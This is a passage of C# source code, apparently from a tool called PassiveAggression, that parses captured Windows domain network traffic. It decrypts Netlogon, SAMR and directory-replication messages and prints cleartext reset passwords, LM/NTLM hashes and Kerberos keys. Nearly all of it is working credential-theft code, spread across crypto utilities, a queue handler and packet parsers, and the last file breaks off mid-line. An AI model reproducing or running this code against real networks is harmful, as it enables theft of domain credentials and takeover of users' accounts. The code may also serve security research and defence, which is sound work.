System.Runtime.InteropServices; 5 | using System.Security.Cryptography; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using static PassiveAgression.Core.Win32.Natives; 9 | 10 | namespace PassiveAgression.Core.Crypto 11 | { 12 | internal class Utils 13 | { 14 | 15 | public struct SChannelKeyData 16 | { 17 | /// 18 | /// The IV used in base message 19 | /// 20 | public byte[] iv; 21 | 22 | /// 23 | /// The base session key 24 | /// 25 | public byte[] sessionKey; 26 | 27 | /// 28 | /// IV that is encrypted with base session key 29 | /// 30 | public byte[] subIv; 31 | 32 | /// 33 | /// Session key that can be decrypted using base session key and subIv 34 | /// 35 | public byte[] subSessionKey; 36 | 37 | } 38 | 39 | /// 40 | /// Derives a decryption key by taking the session key and XORing every byte with 0xf0 41 | /// 42 | /// 43 | /// 44 | static byte[] DeriveXORSChannelDecryptionKey(byte[] sessionKey) 45 | { 46 | byte[] decryptionKey = new byte[sessionKey.Length]; 47 | for (int i = 0; i < sessionKey.Length; i++) 48 | { 49 | decryptionKey[i] = (byte)(sessionKey[i] ^ 0xF0); 50 | } 51 | return decryptionKey; 52 | } 53 | 54 | /// 55 | /// Creates decryption key using session key, sequence number and package digest 56 | /// 57 | /// 58 | /// 59 | /// 60 | /// 61 | public static SChannelKeyData GetSChannelKeyData(string sessionKey, string sequenceNumber, string packageDigest) 62 | { 63 | SChannelKeyData kd = new SChannelKeyData(); 64 | kd.sessionKey = Misc.HexStringToBytes(sessionKey); 65 | 66 | // iv is packagedigest concatenated to itself 67 | var tmpIv = $"{packageDigest}{packageDigest}"; 68 | kd.iv = Misc.HexStringToBytes(tmpIv); 69 | 70 | // Decryp sequencenumber 71 | byte[] _key = Misc.HexStringToBytes(sessionKey); 72 | byte[] ciphertext = Misc.HexStringToBytes(sequenceNumber); 73 | 74 | byte[] decryptedIv = AES.DecryptAES128CFB8(ciphertext, kd.sessionKey, kd.iv); 75 | var halfIv = BitConverter.ToString(decryptedIv).Replace("-", ""); 76 | var iv = Misc.HexStringToBytes($"{halfIv}{halfIv}"); 77 | 78 | //Derive a decryption key by taking the session key and XORing every byte with 0xf0 79 | byte[] _decryptionKey = DeriveXORSChannelDecryptionKey(_key); 80 | 81 | kd.subSessionKey = _decryptionKey; 82 | kd.subIv = iv; 83 | 84 | return kd; 85 | } 86 | 87 | /// 88 | /// Returns dictionary with Kerberos keytypes and Kerberos keybytes 89 | /// 90 | /// 91 | /// 92 | /// 93 | /// 94 | public static Dictionary KeyDataNewInfo(byte[] data, int start, int count) 95 | { 96 | Dictionary keys = new Dictionary(); 97 | for (int k = 0; k < count; k++) 98 | { 99 | byte[] keyDataBytes = new byte[Marshal.SizeOf(typeof(KERB_KEY_DATA_NEW))]; 100 | Array.Copy(data, (k * Marshal.SizeOf(typeof(KERB_KEY_DATA_NEW))) + start, keyDataBytes, 0, keyDataBytes.Length); 101 | KERB_KEY_DATA_NEW kkd = Misc.ReadStruct(keyDataBytes); 102 | 103 | byte[] keybyte = new byte[kkd.KeyLength]; 104 | Array.Copy(data, kkd.KeyOffset, keybyte, 0, keybyte.Length); 105 | 106 | // we skip the iteration count for now 107 | keys.Add(kkd.KeyType, Misc.PrintHashBytes(keybyte)); 108 | 109 | } 110 | return keys; 111 | } 112 | 113 | /// 114 | /// Decrypts DES enrypted data with SID as key 115 | /// 116 | /// 117 | /// 118 | /// 119 | public static byte[] DecryptHashUsingSID(byte[] hashEncryptedWithRID, byte[] sidByteForm) 120 | { 121 | // extract the RID from the SID 122 | GCHandle handle = GCHandle.Alloc(sidByteForm, GCHandleType.Pinned); 123 | IntPtr sidIntPtr = handle.AddrOfPinnedObject(); 124 | IntPtr SubAuthorityCountIntPtr = GetSidSubAuthorityCount(sidIntPtr); 125 | byte SubAuthorityCount = Marshal.ReadByte(SubAuthorityCountIntPtr); 126 | IntPtr SubAuthorityIntPtr = GetSidSubAuthority(sidIntPtr, (uint)SubAuthorityCount - 1); 127 | uint rid = (uint)Marshal.ReadInt32(SubAuthorityIntPtr); 128 | handle.Free(); 129 | 130 | // Decrypt the hash 131 | byte[] output = new byte[16]; 132 | IntPtr outputPtr = Marshal.AllocHGlobal(16); 133 | RtlDecryptDES2blocks1DWORD(hashEncryptedWithRID, ref rid, outputPtr); 134 | Marshal.Copy(outputPtr, output, 0, 16); 135 | Marshal.FreeHGlobal(outputPtr); 136 | return output; 137 | } 138 | 139 | /// 140 | /// Decrypts replication data using session key 141 | /// 142 | /// 143 | /// 144 | /// 145 | public static byte[] DecryptReplicationData(byte[] data, byte[] SessionKey) 146 | { 147 | if (data.Length < 16) 148 | return null; 149 | 150 | byte[] key; 151 | 152 | using (MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider()) 153 | { 154 | md5.TransformBlock(SessionKey, 0, SessionKey.Length, SessionKey, 0); 155 | md5.TransformFinalBlock(data, 0, 16); 156 | 157 | key = md5.Hash; 158 | 159 | } 160 | 161 | 162 | byte[] todecrypt = new byte[data.Length - 16]; 163 | Array.Copy(data, 16, todecrypt, 0, data.Length - 16); 164 | CRYPTO_BUFFER todecryptBuffer = GetCryptoBuffer(todecrypt); 165 | CRYPTO_BUFFER keyBuffer = GetCryptoBuffer(key); 166 | int ret = RtlEncryptDecryptRC4(ref todecryptBuffer, ref keyBuffer); 167 | byte[] decrypted = new byte[todecryptBuffer.Length]; 168 | Marshal.Copy(todecryptBuffer.Buffer, decrypted, 0, decrypted.Length); 169 | Marshal.FreeHGlobal(todecryptBuffer.Buffer); 170 | Marshal.FreeHGlobal(keyBuffer.Buffer); 171 | byte[] output = new byte[decrypted.Length - 4]; 172 | Array.Copy(decrypted, 4, output, 0, decrypted.Length - 4); 173 | uint crc = Misc.CalcCrc32(output); 174 | uint expectedCrc = BitConverter.ToUInt32(decrypted, 0); 175 | if (crc != expectedCrc) 176 | return null; 177 | 178 | return output; 179 | } 180 | 181 | private static CRYPTO_BUFFER GetCryptoBuffer(byte[] bytes) 182 | { 183 | CRYPTO_BUFFER cpb = new CRYPTO_BUFFER(); 184 | cpb.Length = cpb.MaximumLength = (uint)bytes.Length; 185 | cpb.Buffer = Marshal.AllocHGlobal(bytes.Length); 186 | Marshal.Copy(bytes, 0, cpb.Buffer, bytes.Length); 187 | return cpb; 188 | } 189 | 190 | } 191 | } 192 | -------------------------------------------------------------------------------- /PassiveAggression/Core/DataHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections; 3 | using System.Collections.Concurrent; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Runtime.InteropServices; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using Newtonsoft.Json.Bson; 10 | using PassiveAgression.Core.Events; 11 | using static System.Net.Mime.MediaTypeNames; 12 | 13 | namespace PassiveAgression.Core 14 | { 15 | public class DataHandler 16 | { 17 | private ConcurrentBag SMBSessionNegotiations = new(); 18 | private ConcurrentBag SMBSessionSetups = new(); 19 | private ConcurrentBag LookupNamesRequests = new(); 20 | 21 | private ConcurrentQueue setInformationUser2 = new ConcurrentQueue(); 22 | 23 | CancellationTokenSource cancellationTokenSource = new CancellationTokenSource(); 24 | 25 | public ConcurrentBag DecryptedSamrSetInformationUser2Events = new(); 26 | 27 | private ConcurrentBag NetRServerAuthenticate3Response = new(); 28 | private ConcurrentQueue netrLogonSendToSam = new ConcurrentQueue(); 29 | public ConcurrentBag DecryptedLogonSendToSams = new(); 30 | 31 | private ConcurrentBag RPCBinds = new(); 32 | public ConcurrentBag DecryptedGetNcChangesResponses = new(); 33 | private ConcurrentQueue getNcChangesResponses = new ConcurrentQueue(); 34 | 35 | 36 | 37 | #region adding methods 38 | 39 | /// 40 | /// Adds new RPCBind to the list 41 | /// 42 | /// 43 | public void AddRPCBinding(RPCBinding rpcBinding) 44 | { 45 | if (rpcBinding == null) 46 | return; 47 | 48 | if (!rpcBinding.success) 49 | return; 50 | 51 | if (RPCBinds.Contains(rpcBinding)) 52 | return; 53 | 54 | RPCBinds.Add(rpcBinding); 55 | } 56 | 57 | /// 58 | /// Adds GetNCChangesResponse to the queue 59 | /// 60 | /// 61 | public void AddGetNCChanges(GetNCChangesResponse ncChangesResponse) 62 | { 63 | if (ncChangesResponse == null) 64 | return; 65 | 66 | if (!ncChangesResponse.success) 67 | return; 68 | 69 | if (getNcChangesResponses.Contains(ncChangesResponse)) 70 | return; 71 | 72 | getNcChangesResponses.Enqueue(ncChangesResponse); 73 | } 74 | 75 | 76 | 77 | 78 | /// 79 | /// Adds new NetRServerAuthenticate3Response event to the list 80 | /// 81 | /// 82 | public void AddNetrServerAuthenticate3Response(NetRServerAuthenticate3Response netrServerAuthenticate3Response) 83 | { 84 | if (netrServerAuthenticate3Response == null) 85 | return; 86 | 87 | if (!netrServerAuthenticate3Response.success) 88 | return; 89 | 90 | if (NetRServerAuthenticate3Response.Contains(netrServerAuthenticate3Response)) 91 | return; 92 | 93 | NetRServerAuthenticate3Response.Add(netrServerAuthenticate3Response); 94 | } 95 | 96 | /// 97 | /// Adds NetRLogonSendToSam event to the queue 98 | /// 99 | /// 100 | public void AddSendToSam(NetRLogonSendToSam sendtosam) 101 | { 102 | if (sendtosam == null) 103 | return; 104 | 105 | if (!sendtosam.success) 106 | return; 107 | 108 | if (netrLogonSendToSam.Contains(sendtosam)) 109 | return; 110 | 111 | netrLogonSendToSam.Enqueue(sendtosam); 112 | } 113 | 114 | 115 | 116 | /// 117 | /// Adds new SMBSessionNegotiation event to the list 118 | /// 119 | /// 120 | public void AddSMBSessionNegotiation(SMBSessionNegotiation smbSessionNegotiation) 121 | { 122 | if (smbSessionNegotiation == null) 123 | return; 124 | 125 | if (!smbSessionNegotiation.success) 126 | return; 127 | 128 | if (SMBSessionNegotiations.Contains(smbSessionNegotiation)) 129 | return; 130 | 131 | SMBSessionNegotiations.Add(smbSessionNegotiation); 132 | } 133 | 134 | /// 135 | /// Adds new SMBSessionSetup event to the list 136 | /// 137 | /// 138 | public void AddSMBSessionSetup(SMBSessionSetup smbSessionSetup) 139 | { 140 | if (smbSessionSetup == null) 141 | return; 142 | 143 | if (!smbSessionSetup.success) 144 | return; 145 | 146 | if (SMBSessionSetups.Contains(smbSessionSetup)) 147 | return; 148 | 149 | SMBSessionSetups.Add(smbSessionSetup); 150 | } 151 | 152 | /// 153 | /// Adds new LookupNamesRequest to the list 154 | /// 155 | /// 156 | public void AddLookupNamesRequest(LookupNamesRequest lookupNamesRequest) 157 | { 158 | if (lookupNamesRequest == null) 159 | return; 160 | 161 | if (!lookupNamesRequest.success) 162 | return; 163 | 164 | if (LookupNamesRequests.Contains(lookupNamesRequest)) 165 | return; 166 | 167 | LookupNamesRequests.Add(lookupNamesRequest); 168 | } 169 | 170 | 171 | 172 | /// 173 | /// Adds password reset event to the queue 174 | /// 175 | /// 176 | public void AddSetInformationUser2(SamrSetInformationUser2 pwdreset) 177 | { 178 | if (pwdreset == null) 179 | return; 180 | 181 | if (!pwdreset.success) 182 | return; 183 | 184 | if (setInformationUser2.Contains(pwdreset)) 185 | return; 186 | 187 | setInformationUser2.Enqueue(pwdreset); 188 | 189 | } 190 | 191 | #endregion 192 | 193 | #region Printing methods 194 | 195 | private void PrintPwdReset(SamrSetInformationUser2 pwdreset) 196 | { 197 | Console.WriteLine("\r\n[+] Got password reset event:"); 198 | Console.WriteLine($"\tUsername:\t{pwdreset.Username}"); 199 | Console.WriteLine($"\tNew password:\t{pwdreset.ClearTextPassword}"); 200 | } 201 | 202 | private void PrintSendToSam(NetRLogonSendToSam logonSendToSam) 203 | { 204 | 205 | if (string.IsNullOrEmpty(logonSendToSam.LMHash) && 206 | string.IsNullOrEmpty(logonSendToSam.NTLMHash)) 207 | return; 208 | 209 | Console.WriteLine($""); 210 | Console.WriteLine("[+] NetrLogonSendToSam data: "); 211 | Console.WriteLine($"\tUser:\t{logonSendToSam.UserRef}"); 212 | Console.WriteLine($"\trID:\t{logonSendToSam.rID}"); 213 | Console.WriteLine($"\tLM:\t{logonSendToSam.LMHash}"); 214 | Console.WriteLine($"\tNTLM:\t{logonSendToSam.NTLMHash}"); 215 | } 216 | 217 | private void PrintReplSecrets(GetNCChangesResponse.ReplicatedSecrets[] replsecrets) 218 | { 219 | foreach (var secrets in replsecrets) 220 | { 221 | Console.WriteLine($""); 222 | Console.WriteLine("[+] Replicated secret: "); 223 | Console.WriteLine($"\tDN:\t{secrets.DN}"); 224 | Console.WriteLine($"\tSID:\t{secrets.SID}"); 225 | Console.WriteLine($"\tGUID:\t{secrets.GUID}"); 226 | Console.WriteLine($""); 227 | Console.WriteLine($"\tNTLM:\t{secrets.ntlmHash}"); 228 | 229 | if (!string.IsNullOrEmpty(secrets.lmHash)) 230 | Console.WriteLine($"\tLM:\t{secrets.lmHash}"); 231 | 232 | Console.WriteLine($"\tsalt:\t{secrets.kerberos_new_salt}"); 233 | Console.WriteLine($"\taes256:\t{secrets.aes256}"); 234 | Console.WriteLine($"\taes128:\t{secrets.aes128}"); 235 | Console.WriteLine($"\tdes:\t{secrets.md5}"); 236 | } 237 | 238 | 239 | } 240 | 241 | 242 | #endregion 243 | 244 | public async Task Start() 245 | { 246 | 247 | var cancellationToken = cancellationTokenSource.Token; 248 | Task checkQueueTask = CheckQueuePeriodically(TimeSpan.FromMilliseconds(500), cancellationToken); 249 | //checkQueueTask.Start(); 250 | await checkQueueTask; 251 | } 252 | 253 | public void Stop() 254 | { 255 | cancellationTokenSource.Cancel(); 256 | 257 | // Make sure to process all remaining tasks 258 | ProcessTasks(); 259 | } 260 | 261 | private async Task CheckQueuePeriodically(TimeSpan interval, CancellationToken cancellationToken) 262 | { 263 | while (!cancellationToken.IsCancellationRequested) 264 | { 265 | ProcessTasks(); 266 | await Task.Delay(interval); 267 | } 268 | } 269 | 270 | private void ProcessTasks() 271 | { 272 | while (!setInformationUser2.IsEmpty) 273 | ProcessSetInformationUser2(); 274 | 275 | 276 | while (!netrLogonSendToSam.IsEmpty) 277 | ProcessNetrLogonSendToSam(); 278 | 279 | if (!getNcChangesResponses.IsEmpty) 280 | ProcessGetNCChanges(); 281 | } 282 | 283 | /// 284 | /// Contains logic to find correct session key, SMB dialect and decrypt contents 285 | /// 286 | private void ProcessSetInformationUser2() 287 | { 288 | // Fetch from queue 289 | SamrSetInformationUser2 response; 290 | var successDequeue = setInformationUser2.TryDequeue(out response); 291 | 292 | if (!successDequeue) 293 | return; 294 | 295 | // Check if there's a sessionkey available with the same smbsession Id 296 | var smbSessionIds = SMBSessionSetups.Where(k => k.smbSessionId == response.smbSessionId 297 | && !string.IsNullOrEmpty(k.sessionKey)).ToList(); 298 | 299 | // There is not. Add back to the queue 300 | if (!smbSessionIds.Any()) 301 | { 302 | setInformationUser2.Enqueue(response); 303 | return; 304 | } 305 | 306 | // Lookup user account 307 | var nameLookupRes = LookupNamesRequests.Where(n => n.smbSessionId == response.smbSessionId); 308 | if (!nameLookupRes.Any()) 309 | { 310 | setInformationUser2.Enqueue(response); 311 | return; 312 | } 313 | 314 | var name = nameLookupRes.First(); 315 | response.Username = name.Username; 316 | 317 | // There is. Select session key and decrypt data 318 | response.Decrypt(smbSessionIds[0]); 319 | 320 | if (response.success) 321 | { 322 | PrintPwdReset(response); 323 | DecryptedSamrSetInformationUser2Events.Add(response); 324 | } 325 | } 326 | 327 | 328 | /// 329 | /// Contains logic to find session key to decrypt contents 330 | /// and decode the data 331 | /// 332 | private void ProcessNetrLogonSendToSam() 333 | { 334 | // Fetch from queue 335 | NetRLogonSendToSam response; 336 | var successDequeue = netrLogonSendToSam.TryDequeue(out response); 337 | 338 | if (!successDequeue) 339 | return; 340 | 341 | // Check if there's netrServerAuthenticate3 event available in the same stream 342 | var authResponses = NetRServerAuthenticate3Response 343 | .Where(b => b.connectionInfo.StreamIndex == response.connectionInfo.StreamIndex && 344 | b.connectionInfo.SourceIP == response.connectionInfo.DestinationIP).ToList(); 345 | 346 | // There is not. Add back to the queue 347 | if (!authResponses.Any()) 348 | { 349 | netrLogonSendToSam.Enqueue(response); 350 | return; 351 | } 352 | 353 | // There is. Select session key and decrypt data 354 | var sessionKey = authResponses[0].sessionKey; 355 | response.Decrypt(sessionKey); 356 | 357 | if (response.success) 358 | { 359 | PrintSendToSam(response); 360 | DecryptedLogonSendToSams.Add(response); 361 | } 362 | } 363 | 364 | 365 | /// 366 | /// Contains logic to find correct session key and decrypt the contents 367 | /// and decode the data 368 | /// 369 | private void ProcessGetNCChanges() 370 | { 371 | // Fetch from queue 372 | GetNCChangesResponse response; 373 | var successDequeue = getNcChangesResponses.TryDequeue(out response); 374 | 375 | if (!successDequeue) 376 | return; 377 | 378 | // Check if there's an RPC bind available with the same stream and sourceIp 379 | var bindings = RPCBinds 380 | .Where(b => b.connectionInfo.StreamIndex == response.connectionInfo.StreamIndex && 381 | b.connectionInfo.SourceIP == response.connectionInfo.SourceIP).ToList(); 382 | 383 | // There is not. Add back to the queue 384 | if (!bindings.Any()) 385 | { 386 | getNcChangesResponses.Enqueue(response); 387 | return; 388 | } 389 | 390 | // There is. Select session key and decrypt data 391 | var sessionKey = bindings.Select(b => b.sessionKey).SelectMany(a => a).First(); 392 | response.Decrypt(sessionKey); 393 | 394 | 395 | if (response.success) 396 | { 397 | PrintReplSecrets(response.Secrets); 398 | DecryptedGetNcChangesResponses.Add(response); 399 | } 400 | 401 | } 402 | 403 | } 404 | } 405 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Events/LookupNamesRequest.cs: -------------------------------------------------------------------------------- 1 | using PassiveAgression.Core.Network; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace PassiveAgression.Core.Events 9 | { 10 | public class LookupNamesRequest 11 | { 12 | 13 | public bool success { get; set; } 14 | 15 | public TCPConnectionInfo connectionInfo { get; set; } 16 | 17 | public string smbSessionId { get; set; } 18 | 19 | public string Username { get; set; } 20 | 21 | public LookupNamesRequest(TSharkMessage message) 22 | { 23 | try 24 | { 25 | Parse(message); 26 | success = !string.IsNullOrEmpty(Username) && !string.IsNullOrEmpty(smbSessionId); 27 | } 28 | catch 29 | { 30 | // Do nothing 31 | } 32 | 33 | } 34 | 35 | /// 36 | /// Parses data from message into structs. 37 | /// 38 | /// 39 | private void Parse(TSharkMessage message) 40 | { 41 | //// Set data to be correlated with in later packets 42 | connectionInfo = message.TCPInfo; 43 | smbSessionId = message.FindNodeByName("smb2.sesid"); 44 | 45 | Username = message.FindNodeByName("samr.samr_LookupNames.names"); 46 | 47 | } 48 | 49 | 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Events/NetRLogonSendToSam.cs: -------------------------------------------------------------------------------- 1 | using PassiveAgression.Core.Network; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using PassiveAgression.Core.Crypto; 8 | using static PassiveAgression.Core.Win32.Natives; 9 | using System.Runtime.InteropServices; 10 | 11 | namespace PassiveAgression.Core.Events 12 | { 13 | public class NetRLogonSendToSam 14 | { 15 | 16 | public bool success { get; set; } 17 | 18 | private string encrypted_stub_data; 19 | private string package_digest; 20 | private string package_sequence; 21 | 22 | 23 | public string NTLMHash { get; private set; } 24 | public string LMHash { get; private set; } 25 | public string UserRef { get; private set; } 26 | public int rID { get; private set; } 27 | public TCPConnectionInfo connectionInfo { get; set; } 28 | 29 | public string sessionKey; 30 | 31 | private struct CredentialData 32 | { 33 | public int offset; 34 | public int length; 35 | } 36 | 37 | struct NetrLogonSendToSam 38 | { 39 | public string PrimaryName; 40 | public string ComputerName; 41 | public NETLOGON_AUTHENTICATOR Authenticator; 42 | 43 | public PASSWORD_UPDATE_TYPE PwdUpdType; 44 | public int Size; 45 | 46 | internal byte[] CryptedOpaqueBuffer; 47 | public int OpaqueBufferSize; 48 | 49 | public int IndexHelper; 50 | } 51 | 52 | /// 53 | /// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sams/e6d9295f-dbb8-46a5-98f7-f4d3f970f36b 54 | /// 55 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 56 | struct NetrLogonSendToSamOpaqueBuffer 57 | { 58 | PASSWORD_UPDATE_FLAGS Flags; 59 | public int MessageSize; 60 | public int AccountRid; 61 | public byte PasswordExp; 62 | 63 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)] 64 | public byte[] reserved; 65 | } 66 | 67 | public NetRLogonSendToSam(TSharkMessage message) 68 | { 69 | try 70 | { 71 | Parse(message); 72 | success = true; 73 | } 74 | catch 75 | { 76 | // Do nothing 77 | } 78 | 79 | } 80 | 81 | /// 82 | /// Parses data from message into structs. 83 | /// 84 | /// 85 | private void Parse(TSharkMessage message) 86 | { 87 | //// Set data to be correlated with in later packets 88 | connectionInfo = message.TCPInfo; 89 | 90 | package_sequence = Misc.CleanHexData(message.FindNodeByName("netlogon.secchan.seq")); 91 | package_digest = Misc.CleanHexData(message.FindNodeByName("netlogon.secchan.digest")); 92 | encrypted_stub_data = Misc.CleanHexData(message.FindNodeByName("dcerpc.encrypted_stub_data")); 93 | } 94 | 95 | /// 96 | /// Decrypts data with given session key 97 | /// 98 | /// 99 | public void Decrypt(string sessionKey) 100 | { 101 | this.sessionKey = sessionKey; 102 | success = false; 103 | try 104 | { 105 | DecryptData(); 106 | success = true; 107 | } 108 | catch 109 | { 110 | // Do nothing 111 | } 112 | } 113 | 114 | private void DecryptData() 115 | { 116 | success = false; 117 | 118 | byte[] bCipherText = Misc.HexStringToBytes(encrypted_stub_data); 119 | 120 | // Generate the correct keydata based on sequence number and digest 121 | var keyData = Crypto.Utils.GetSChannelKeyData(sessionKey, package_sequence, package_digest); 122 | 123 | // Decrypt data using new keyset 124 | byte[] decrypted = AES.DecryptAES128CFB8(bCipherText, keyData.subSessionKey, keyData.subIv); 125 | 126 | // Dissect the packet 127 | NetrLogonSendToSam packet = Dissect(ref decrypted); 128 | 129 | // Decrypt buffer. We do this by decrypting the whole packet with the base session key 130 | // and get the contents based on the size in the last field of the outer message 131 | // The message size and message type are not double encrypted. Prepend the bytearray with these 8 bytes so 132 | // we end up with a byte array containing only decrypted values 133 | byte[] subPackdecrypted = AES.DecryptAES128CFB8(decrypted, keyData.sessionKey, keyData.iv); 134 | 135 | //Misc.DisplayHexDump(subPackdecrypted); 136 | int packetLength = subPackdecrypted.Length; 137 | int decryptedBufferStart = packet.IndexHelper + 8; 138 | int decryptedBufferEnd = decryptedBufferStart + packet.OpaqueBufferSize; 139 | 140 | byte[] oBuffer = subPackdecrypted[decryptedBufferStart..decryptedBufferEnd]; 141 | 142 | NetrLogonSendToSamOpaqueBuffer t = DissectBuffer(ref oBuffer); 143 | } 144 | 145 | /// 146 | /// Dissect byte array into NetrLogonSendToSam packet 147 | /// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/b06e6b30-fe57-4e0f-ba1a-5214c953a5df 148 | /// 149 | /// 150 | /// 151 | private NetrLogonSendToSam Dissect(ref byte[] packet) 152 | { 153 | NetrLogonSendToSam rawSendToSamPacket = new NetrLogonSendToSam(); 154 | 155 | // Check if byte 17..24 are 00bytes 156 | int startIndex = 0; 157 | if (Misc.AllItemsAreSame(packet[16..24])) 158 | { 159 | startIndex = 32; 160 | } 161 | byte[] dData = packet[startIndex..packet.Length]; 162 | 163 | // If the last 8 bytes are 0bytes, trim those 164 | if (Misc.AllItemsAreSame(packet[(packet.Length - 8)..packet.Length])) 165 | { 166 | dData = dData[0..(dData.Length - 8)]; 167 | } 168 | 169 | // Read handle name. Calculate alignment 170 | rawSendToSamPacket.PrimaryName = Misc.ReadWChars(ref dData); 171 | startIndex = rawSendToSamPacket.PrimaryName.Length * 2; 172 | startIndex += 8 - (startIndex % 8); 173 | 174 | // Next are 24 bytes of undefined data 175 | startIndex += 24; 176 | 177 | // Next is the netbiosname of the calling computer 178 | dData = dData[startIndex..dData.Length]; 179 | rawSendToSamPacket.ComputerName = Misc.ReadWChars(ref dData); 180 | 181 | 182 | // Align data 183 | startIndex = rawSendToSamPacket.ComputerName.Length * 2; 184 | startIndex += 8 - (startIndex % 8); 185 | 186 | // Parse authenticator 187 | dData = dData[startIndex..dData.Length]; 188 | rawSendToSamPacket.Authenticator = Misc.ReadStruct(dData); 189 | startIndex = Marshal.SizeOf(rawSendToSamPacket.Authenticator); 190 | 191 | rawSendToSamPacket.PwdUpdType = (PASSWORD_UPDATE_TYPE)BitConverter.ToUInt32(dData[startIndex..(startIndex + 4)]); 192 | startIndex += 4; 193 | 194 | // Read msg size 195 | rawSendToSamPacket.Size = BitConverter.ToInt32(dData, startIndex); 196 | 197 | // startIndex should be at the startindex of where the opaque buffer starts. 198 | // We also know the size of the buffer 199 | int bufferStart = startIndex + 8; 200 | int bufferEnd = bufferStart + rawSendToSamPacket.Size; 201 | 202 | rawSendToSamPacket.CryptedOpaqueBuffer = dData[bufferStart..bufferEnd]; 203 | rawSendToSamPacket.IndexHelper = Misc.FindSequence(packet, rawSendToSamPacket.CryptedOpaqueBuffer); 204 | 205 | // next 4 bytes should be the opaquebuffer size 206 | startIndex = bufferEnd; 207 | rawSendToSamPacket.OpaqueBufferSize = BitConverter.ToInt32(dData, startIndex); 208 | 209 | 210 | return rawSendToSamPacket; 211 | } 212 | 213 | 214 | /// 215 | /// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sams/e6d9295f-dbb8-46a5-98f7-f4d3f970f36b 216 | /// 217 | /// 218 | /// 219 | private NetrLogonSendToSamOpaqueBuffer DissectBuffer(ref byte[] decryptedBuffer) 220 | { 221 | NetrLogonSendToSamOpaqueBuffer buffer = new NetrLogonSendToSamOpaqueBuffer(); 222 | buffer = Misc.ReadStruct(decryptedBuffer); 223 | rID = buffer.AccountRid; 224 | 225 | int dataStart = buffer.MessageSize; 226 | int startIndex = Marshal.SizeOf(buffer); 227 | byte[] headerData = decryptedBuffer[startIndex..dataStart]; 228 | 229 | int arrayCount = headerData.Length / 8; 230 | CredentialData[] credData = new CredentialData[arrayCount]; 231 | 232 | startIndex = 0; 233 | for (int i = 0; i < arrayCount; i++) 234 | { 235 | CredentialData cred = new CredentialData(); 236 | cred.offset = BitConverter.ToInt32(headerData, startIndex); 237 | cred.length = BitConverter.ToInt32(headerData, startIndex + 4); 238 | 239 | credData[i] = cred; 240 | 241 | startIndex += 8; 242 | } 243 | 244 | // Filter out credentialdata with lengths 245 | CredentialData[] credWithData = credData.Where(c => c.length > 0).ToArray(); 246 | 247 | // Data is positioned in this order: 248 | // Name 249 | // NTLM 250 | // LM 251 | 252 | if (credWithData.Length > 2) 253 | { 254 | byte[] LMhash = GetArrayData(credWithData[1], dataStart, ref decryptedBuffer); 255 | byte[] NTHash = GetArrayData(credWithData[2], dataStart, ref decryptedBuffer); 256 | byte[] Name = GetArrayData(credWithData[0], dataStart, ref decryptedBuffer); 257 | 258 | this.LMHash = Misc.PrintHashBytes(LMhash); 259 | this.NTLMHash = Misc.PrintHashBytes(NTHash); 260 | this.UserRef = Encoding.UTF8.GetString(Name); 261 | } 262 | else 263 | { 264 | byte[] LMhash = GetArrayData(credWithData[1], dataStart, ref decryptedBuffer); 265 | byte[] NTHash = GetArrayData(credWithData[2], dataStart, ref decryptedBuffer); 266 | 267 | this.LMHash = Misc.PrintHashBytes(LMhash); 268 | this.NTLMHash = Misc.PrintHashBytes(NTHash); 269 | } 270 | 271 | return buffer; 272 | } 273 | 274 | 275 | /// 276 | /// Returns arraydata based on index and offsets 277 | /// 278 | /// 279 | /// 280 | /// 281 | /// 282 | private byte[] GetArrayData(CredentialData d, int dataStart, ref byte[] decryptedData) 283 | { 284 | int offset = d.offset; 285 | int len = d.length; 286 | 287 | return decryptedData[(dataStart + offset)..(dataStart + offset + len)]; 288 | } 289 | } 290 | 291 | } 292 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Events/NetRServerAuthenticate3Response.cs: -------------------------------------------------------------------------------- 1 | using PassiveAgression.Core.Network; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace PassiveAgression.Core.Events 9 | { 10 | public class NetRServerAuthenticate3Response 11 | { 12 | 13 | public bool success { get; set; } 14 | 15 | public TCPConnectionInfo connectionInfo { get; set; } 16 | 17 | public string sessionKey; 18 | 19 | public NetRServerAuthenticate3Response(TSharkMessage message) 20 | { 21 | try 22 | { 23 | Parse(message); 24 | success = true; 25 | } 26 | catch 27 | { 28 | // Do nothing 29 | } 30 | 31 | } 32 | 33 | /// 34 | /// Parses data from message into structs. 35 | /// 36 | /// 37 | private void Parse(TSharkMessage message) 38 | { 39 | //// Set data to be correlated with in later packets 40 | connectionInfo = message.TCPInfo; 41 | 42 | var keyLine = message.FindNodeByName("_ws.expert.message"); 43 | if (null != keyLine) 44 | { 45 | //return empty resultobj if no session key is available 46 | if (!keyLine.Contains("session key")) 47 | return; 48 | 49 | sessionKey = keyLine.Split('(')[1].TrimEnd(')'); 50 | 51 | } 52 | } 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Events/RPCBinding.cs: -------------------------------------------------------------------------------- 1 | using PassiveAgression.Core.Network; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using PassiveAgression.Core.Static; 8 | 9 | namespace PassiveAgression.Core.Events 10 | { 11 | public class RPCBinding 12 | { 13 | 14 | public bool success { get; set; } 15 | public TCPConnectionInfo connectionInfo { get; set; } 16 | 17 | public string[] sessionKey; 18 | 19 | public int kerberosKeyType; 20 | 21 | public bool IsAck; 22 | 23 | public RPCBinding(TSharkMessage message) 24 | { 25 | try 26 | { 27 